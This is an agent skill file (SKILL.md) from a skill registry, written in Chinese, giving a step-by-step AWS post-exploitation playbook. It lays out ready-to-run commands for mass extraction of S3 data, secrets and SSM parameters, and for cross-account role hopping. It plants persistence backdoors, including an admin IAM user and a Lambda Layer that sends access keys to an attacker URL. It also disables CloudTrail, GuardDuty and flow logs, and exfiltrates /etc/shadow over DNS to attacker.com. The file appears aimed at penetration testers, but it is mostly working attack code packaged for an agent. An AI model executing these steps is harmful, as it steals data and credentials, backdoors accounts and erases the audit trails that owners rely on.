aws-post-exploit
$
npx mdskill add wgpsec/AboutSecurity/aws-post-exploitSteal AWS data, move laterally, and hide traces via APIs.
- Extract high-value data from S3, RDS, DynamoDB, and EBS.
- Lateral move between accounts using AssumeRole chains.
- Deploy persistent backdoors via Lambda, IAM, and EventBridge.
- Erase attack traces by manipulating CloudTrail and GuardDuty.
SKILL.md
.github/skills/aws-post-exploitView on GitHub ↗
---
name: aws-post-exploit
description: "AWS 后渗透与持久化专项。当已获取 AWS 高权限(Admin/PowerUser)或特定服务权限后,需要进行数据窃取、横向移动到其他账户/区域、建立持久化后门、或清理攻击痕迹时使用。覆盖 S3/RDS/DynamoDB/EBS 数据窃取、跨账户 AssumeRole 横向、Lambda/IAM/EventBridge 持久化后门、以及 CloudTrail/GuardDuty 规避技术"
metadata:
tags: "aws,post-exploitation,persistence,data-exfiltration,lateral-movement,backdoor,cloudtrail,guardduty,后渗透,持久化,数据窃取,痕迹清理"
category: "cloud"
---
# AWS 后渗透与持久化方法论
在 AWS 环境中完成提权后,攻击进入后渗透阶段。与传统渗透测试不同,云环境的后渗透面临独特挑战:数据分散在数十个托管服务中(S3/RDS/DynamoDB/SecretsManager 等),横向移动以跨账户角色链为主而非网络层跳板,持久化后门可以是一个 IAM 密钥、一条 EventBridge 规则或一个 Lambda Layer——所有操作都在 CloudTrail 的监控之下。
**核心思路**:云后渗透是 "API 驱动" 的——每一步操作都是 API 调用,都会留下日志。因此攻击者必须在 "获取价值" 和 "控制噪声" 之间取得平衡。本技能按 4 个阶段组织:数据发现与窃取 → 横向移动 → 持久化 → 痕迹清理。
## 深入参考
识别到具体后渗透场景后,加载对应参考文档获取完整技术细节:
- 各服务数据窃取命令与技巧(S3/EBS/RDS/DynamoDB/Lambda/Secrets 等) → 读 [references/data-exfiltration.md](references/data-exfiltration.md)
- 持久化后门技术全集(IAM/Lambda/EC2/EventBridge/SNS/CloudTrail 规避等) → 读 [references/persistence-backdoor.md](references/persistence-backdoor.md)
## Phase 1: 数据发现与窃取
获取高权限后,首要目标是发现并窃取高价值数据。按以下决策树选择目标服务:
```
数据在哪里?
├─ 对象存储
│ ├─ S3 Bucket → 批量下载 / 设为公开 / 跨账户复制
│ └─ Glacier/Deep Archive → RestoreObject 恢复后下载
│
├─ 数据库
│ ├─ RDS → 快照导出到 S3 / 重置密码直连 / 只读副本
│ ├─ DynamoDB → Scan 全表 / 导出到 S3 / Stream 实时捕获
│ ├─ Redshift → 跨账户快照共享 / Zero-ETL 复制
│ └─ ElastiCache → 快照导出 / 连接直读
│
├─ 块存储 / 磁盘
│ ├─ EBS 快照 → 跨账户共享快照 / 直接读取块级数据
│ ├─ EBS Multi-Attach → 只读挂载到攻击者实例
│ └─ AMI → CreateStoreImageTask 导出到 S3
│
├─ 凭据 / 密钥
│ ├─ SecretsManager → BatchGetSecretValue 批量提取
│ ├─ SSM Parameter Store → GetParametersByPath 递归获取
│ └─ Lambda 环境变量 → GetFunction 提取运行时凭据
│
├─ 日志 / 监控
│ ├─ CloudWatch Logs → FilterLogEvents 搜索敏感信息
│ └─ RDS 日志 → DownloadDBLogFilePortion 导出 SQL 日志
│
└─ 代码 / 配置
├─ CodeCommit → 克隆代码仓库
├─ Lambda 代码 → GetFunction 下载部署包
└─ S3 中的 Terraform State → 明文凭据和资源信息
```
### 高价值数据源速查
| 数据源 | 关键 API / 命令 | 价值 |
|--------|----------------|------|
| S3 Bucket | `aws s3 sync s3://bucket ./loot/` | 备份、日志、配置、凭据 |
| EBS 快照 | `aws ec2 create-snapshot` → 跨账户共享 | 完整文件系统 |
| RDS 快照 | `aws rds create-db-snapshot` → 公开/跨账户 | 生产数据库 |
| DynamoDB | `aws dynamodb scan --table-name X` | 业务数据 |
| SecretsManager | `aws secretsmanager batch-get-secret-value` | 数据库密码、API Key |
| SSM Parameters | `aws ssm get-parameters-by-path --path / --recursive` | 配置、凭据 |
| Lambda 环境变量 | `aws lambda get-function --function-name X` | 运行时凭据 |
| CloudWatch Logs | `aws logs filter-log-events --filter-pattern "password"` | 应用泄露的敏感信息 |
### 快速数据发现命令
```bash
# 1. 枚举所有 S3 Bucket
aws s3 ls
# 检查 Bucket 策略和 ACL
aws s3api get-bucket-policy --bucket <name>
aws s3api get-bucket-acl --bucket <name>
# 2. 搜索 S3 中的敏感文件
aws s3 ls s3://<bucket>/ --recursive | grep -iE '\.env|credential|secret|\.pem|\.key|backup|\.sql'
# 3. 批量提取 Secrets
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# 4. 递归获取 SSM 参数
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}'
# 5. 提取 Lambda 环境变量(含临时凭据)
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
echo "=== $fn ==="
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables'
done
```
→ 读 [references/data-exfiltration.md](references/data-exfiltration.md)
## Phase 2: 横向移动
AWS 横向移动发生在三个维度:跨账户、跨区域、跨服务。
```
横向移动路径
├─ 跨账户移动
│ ├─ OrganizationAccountAccessRole(管理账户 → 成员账户)
│ │ └─ aws sts assume-role --role-arn arn:aws:iam::<member>:role/OrganizationAccountAccessRole
│ ├─ 跨账户信任角色(宽松 Principal)
│ │ └─ 枚举所有角色信任策略 → 发现 Principal: * 或外部账户
│ └─ 跨账户资源策略(S3/KMS/SNS/SQS)
│ └─ 检查资源策略中的 Allow 跨账户操作
│
├─ 跨区域移动
│ ├─ RDS 跨区域自动备份复制 → 在冷门区域恢复数据库
│ ├─ DynamoDB Global Table → 添加新区域副本
│ ├─ EBS 快照跨区域复制 → 在目标区域创建实例
│ └─ S3 跨区域复制规则
│
└─ 跨服务 / 网络移动
├─ SSM → EC2(SendCommand / StartSession)
├─ EC2 Instance Connect Endpoint → 私有实例 SSH
├─ ECS Agent 冒充 → 窃取同宿主机所有任务角色
├─ VPC Peering / VPN → 直连被害 VPC
└─ VPC 流量镜像 → 被动嗅探网络流量
```
### 跨账户 AssumeRole 枚举
```bash
# 枚举当前账户所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
trust=$(aws iam get-role --role-name "$role" \
--query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)
# 检查是否允许外部账户或 *
echo "$trust" | grep -qE '"AWS":\s*"\*"|:iam::[0-9]{12}:' && \
echo "[!] $role: $trust"
done
# Organizations:从管理账户枚举所有成员账户
aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'
# 尝试切换到成员账户的默认管理角色
aws sts assume-role \
--role-arn "arn:aws:iam::<member_account_id>:role/OrganizationAccountAccessRole" \
--role-session-name lateral
```
### EC2 Instance Connect 横向
```bash
# 创建 EC2 Instance Connect Endpoint(用于访问私有子网实例)
aws ec2 create-instance-connect-endpoint \
--subnet-id <private-subnet-id> \
--security-group-ids <sg-id>
# 注入临时 SSH 公钥并连接
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel \
--instance-id %h' ec2-user@<i-xxx>
```
### SSM 横向移动
```bash
# 列出所有受 SSM 管理的实例
aws ssm describe-instance-information \
--query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Role:IamRole}'
# 在目标实例上执行命令
aws ssm send-command \
--instance-ids <i-xxx> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && whoami"]'
# 端口转发(SSM 隧道)
aws ssm start-session --target <i-xxx> \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["3306"],"localPortNumber":["3306"]}'
```
## Phase 3: 持久化
持久化的核心目标:即使凭据被轮换或初始入口被修复,仍能保持对 AWS 环境的访问。
### 持久化技术决策表
| 技术 | 隐蔽性 | 持久性 | 前置权限 | 检测难度 |
|------|--------|--------|----------|----------|
| IAM 后门用户 + Access Key | 低 | 永久(直到删除) | `iam:CreateUser` + `iam:CreateAccessKey` | 低(IAM 审计易发现) |
| IAM 角色信任策略后门 | 中 | 永久 | `iam:UpdateAssumeRolePolicy` | 中(需审计信任策略) |
| IAM 策略版本后门 | 高 | 永久 | `iam:CreatePolicyVersion` | 高(历史版本不常检查) |
| STS Role Chain Juggling | 高 | 临时凭据自动续期 | `sts:AssumeRole`(循环角色链) | 高(利用正常特性) |
| Lambda Layer/Extension 后门 | 高 | 直到 Layer 被移除 | `lambda:PublishLayerVersion` + `lambda:UpdateFunctionConfiguration` | 高(代码审计才能发现) |
| Lambda 别名权重分流 | 高 | 直到别名被修改 | `lambda:CreateAlias` / `lambda:UpdateAlias` | 很高(1%流量几乎不可见) |
| Lambda 异步自循环 | 高 | 持续(自动重触发) | `lambda:UpdateFunctionConfiguration`(destination) | 高 |
| EC2 UserData 后门 | 中 | 直到实例替换 | `ec2:ModifyInstanceAttribute` | 中(检查 UserData 内容) |
| EC2 AMI 后门 | 高 | 后续实例继承 | `ec2:CreateImage` | 高(AMI 内容不常审计) |
| EventBridge 定时规则 | 中 | 持续(定时触发) | `events:PutRule` + `events:PutTargets` | 中(规则可被枚举) |
| SNS 订阅窃取 | 高 | 持续 | `sns:Subscribe` | 高(订阅不常检查) |
| SSM Association 定时 | 中 | 持续(定时执行) | `ssm:CreateAssociation` | 中 |
| CloudTrail 关闭 | - | 掩护其他操作 | `cloudtrail:StopLogging` | 低(GuardDuty 立即告警) |
| GuardDuty 规避 | 高 | 掩护其他操作 | `guardduty:*` | 视方法而定 |
### IAM 持久化快速操作
```bash
# 1. 创建后门用户
aws iam create-user --user-name svc-backup-agent
aws iam attach-user-policy --user-name svc-backup-agent \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-backup-agent
# 2. 后门角色信任策略(允许外部账户 AssumeRole)
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{
"Version":"2012-10-17",
"Statement":[{
"Effect":"Allow",
"Principal":{"AWS":["arn:aws:iam::<attacker_account>:root"]},
"Action":"sts:AssumeRole"
}]
}'
# 3. 策略版本后门(在非默认版本中隐藏 Admin 权限)
aws iam create-policy-version --policy-arn <policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 后续需要时切换为默认版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2
```
### Lambda 持久化(5 种方法)
```bash
# 方法 1: Lambda Layer 注入后门代码
# 创建包含恶意初始化代码的 Layer
mkdir -p /tmp/layer/python && cat > /tmp/layer/python/backdoor.py << 'PYEOF'
import os, urllib.request
urllib.request.urlopen(f"https://<attacker>/exfil?key={os.environ.get('AWS_ACCESS_KEY_ID','')}")
PYEOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version --layer-name monitoring-ext \
--zip-file fileb:///tmp/layer/layer.zip --compatible-runtimes python3.9 python3.10 python3.11
aws lambda update-function-configuration --function-name <target_fn> \
--layers arn:aws:lambda:<region>:<account>:layer:monitoring-ext:1
# 方法 2: Lambda 别名权重分流(1% 流量路由到后门版本)
aws lambda publish-version --function-name <fn> --description "backdoor"
# 假设后门版本号为 2,合法版本为 3
aws lambda update-alias --function-name <fn> --name prod \
--routing-config '{"AdditionalVersionWeights":{"2":0.01}}'
# 方法 3: AWS_LAMBDA_EXEC_WRAPPER 环境变量 + Layer
# 通过 Layer 部署 /opt/bin/wrapper.sh,在 handler 之前执行
aws lambda update-function-configuration --function-name <fn> \
--environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'
# 方法 4: 异步自循环(Destination 自触发)
aws lambda update-function-configuration --function-name <fn> \
--destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}}'
aws lambda put-function-recursion-config --function-name <fn> \
--recursive-loop Allow
# 方法 5: 资源策略后门(隐藏版本的跨账户 Invoke 权限)
aws lambda add-permission --function-name <fn> --qualifier 1 \
--statement-id backdoor --action lambda:InvokeFunction \
--principal <attacker_account_id>
```
### EventBridge 定时持久化
```bash
# 创建定时规则,每 6 小时触发恶意 Lambda
aws events put-rule --name "sys-health-check" \
--schedule-expression "rate(6 hours)" \
--state ENABLED
aws events put-targets --rule "sys-health-check" \
--targets '[{"Id":"1","Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"}]'
# 授权 EventBridge 调用 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
--statement-id eventbridge --action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<acct>:rule/sys-health-check
```
→ 读 [references/persistence-backdoor.md](references/persistence-backdoor.md)
## Phase 4: 痕迹清理与检测规避
### CloudTrail 规避
CloudTrail 是 AWS 的核心审计系统,所有管理事件都会被记录。攻击者有多种方式削弱它:
```bash
# 1. 直接停止日志记录(最粗暴,GuardDuty 会立即告警)
aws cloudtrail stop-logging --name <trail_name>
# 2. 删除 Trail(需先停止)
aws cloudtrail delete-trail --name <trail_name>
# 3. 修改 Trail 的 S3 Bucket(指向攻击者控制的桶或不存在的桶)
aws cloudtrail update-trail --name <trail_name> \
--s3-bucket-name <attacker_bucket_or_nonexistent>
# 4. 通过 S3 Lifecycle 规则自动删除日志文件
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail_bucket> \
--lifecycle-configuration '{
"Rules":[{
"ID":"cleanup","Status":"Enabled",
"Filter":{"Prefix":"AWSLogs/"},
"Expiration":{"Days":1}
}]
}'
# 5. 禁用 CloudTrail Insights(减少异常检测能力)
aws cloudtrail put-insight-selectors --trail-name <trail> \
--insight-selectors '[]'
# 6. 减少数据事件记录(停止记录 S3/Lambda 数据事件)
aws cloudtrail put-event-selectors --trail-name <trail> \
--event-selectors '[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]'
```
**OPSEC 提示**:直接停止 CloudTrail 会触发 GuardDuty `Stealth:IAMUser/CloudTrailLoggingDisabled` 告警。更隐蔽的方式是修改 S3 Lifecycle 规则让日志快速过期,或修改事件选择器减少记录范围。
### GuardDuty 规避
| 方法 | 命令 | 风险 |
|------|------|------|
| 删除 Detector | `aws guardduty delete-detector --detector-id <id>` | 极高(Organization 级别可能阻止) |
| 添加 Trusted IP List | `aws guardduty create-ip-set --detector-id <id> --format TXT --location s3://<bucket>/ips.txt --activate` | 中(自己的 IP 不再产生告警) |
| 归档 Finding | `aws guardduty archive-findings --detector-id <id> --finding-ids <ids>` | 中(历史告警消失) |
| 自动归档 Filter | `aws guardduty create-filter --detector-id <id> --name suppress --action ARCHIVE --finding-criteria ...` | 高(未来告警自动归档) |
| 暂停成员账户 | `aws guardduty disassociate-members --detector-id <id> --account-ids <member>` | 高(成员账户脱离监控) |
### VPC Flow Logs 规避
```bash
# 删除 Flow Logs
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>
# 或将 Flow Logs 指向攻击者控制的 S3 桶
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> \
--traffic-type ALL --log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker_bucket>
```
### AWS Config 规避
```bash
# 停止 Config Recorder(停止配置变更追踪)
aws configservice stop-configuration-recorder --configuration-recorder-name default
# 删除 Delivery Channel
aws configservice delete-delivery-channel --delivery-channel-name default
```
### DNS 数据外传(绕过网络隔离)
即使 EC2 实例完全锁定了出站流量,DNS 查询仍然可以外传数据:
```bash
# VPC Flow Logs 不记录 DNS 流量
# 通过 DNS TXT 查询外传数据
data=$(cat /etc/shadow | base64 | tr -d '\n')
for chunk in $(echo "$data" | fold -w 60); do
dig "$chunk.exfil.attacker.com" TXT +short
done
```
**关闭 DNS 外传**:`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
## 注意事项
### 操作安全(OPSEC)关键点
- **高危 CloudTrail 事件**:`StopLogging`、`DeleteTrail`、`CreateUser`、`CreateAccessKey`、`PutBucketPolicy`(公开化)、`ModifyDBInstance`(密码重置)、`ModifySnapshotAttribute`(共享快照)
- **GuardDuty 高置信度告警**:
- `Stealth:IAMUser/CloudTrailLoggingDisabled` — CloudTrail 被禁用
- `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` — EC2 角色凭据在外部使用
- `Exfiltration:S3/AnomalousBehavior` — S3 异常大量读取
- `Persistence:IAMUser/AnomalousBehavior` — IAM 异常操作
- **速率控制**:AWS API 有速率限制(通常 5-20 次/秒),大规模枚举时注意节流
- **区域覆盖**:资源是区域隔离的。窃取数据时需遍历所有启用区域(`aws ec2 describe-regions`)
### 推荐工具
| 工具 | 用途 | 命令 |
|------|------|------|
| Pacu | AWS 利用框架(枚举/提权/后渗透/持久化) | `run post_exploitation__s3_download` |
| CloudFox | 攻击路径发现 | `cloudfox aws --profile <p> all-checks` |
| AWSRoleJuggler | Role Chain Juggling 持久化 | `./aws_role_juggler.py -r role1 role2` |
| Dufflebag | EBS 快照自动搜索凭据 | `dufflebag search --region <r>` |
| CloudShovel | AMI 中搜索敏感信息 | 自动启动实例扫描 |
| S3Scanner | S3 Bucket 枚举与数据发现 | `s3scanner scan --bucket <name>` |
### 交叉引用
- 参考 `aws-pentesting` 技能,获取 AWS 整体攻击流程
- 参考 `aws-iam-privesc` 技能,获取权限提升路径(后渗透前置阶段)
- 参考 `cloud-aksk-exploit` 技能,获取 AK/SK 凭据完整利用链
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|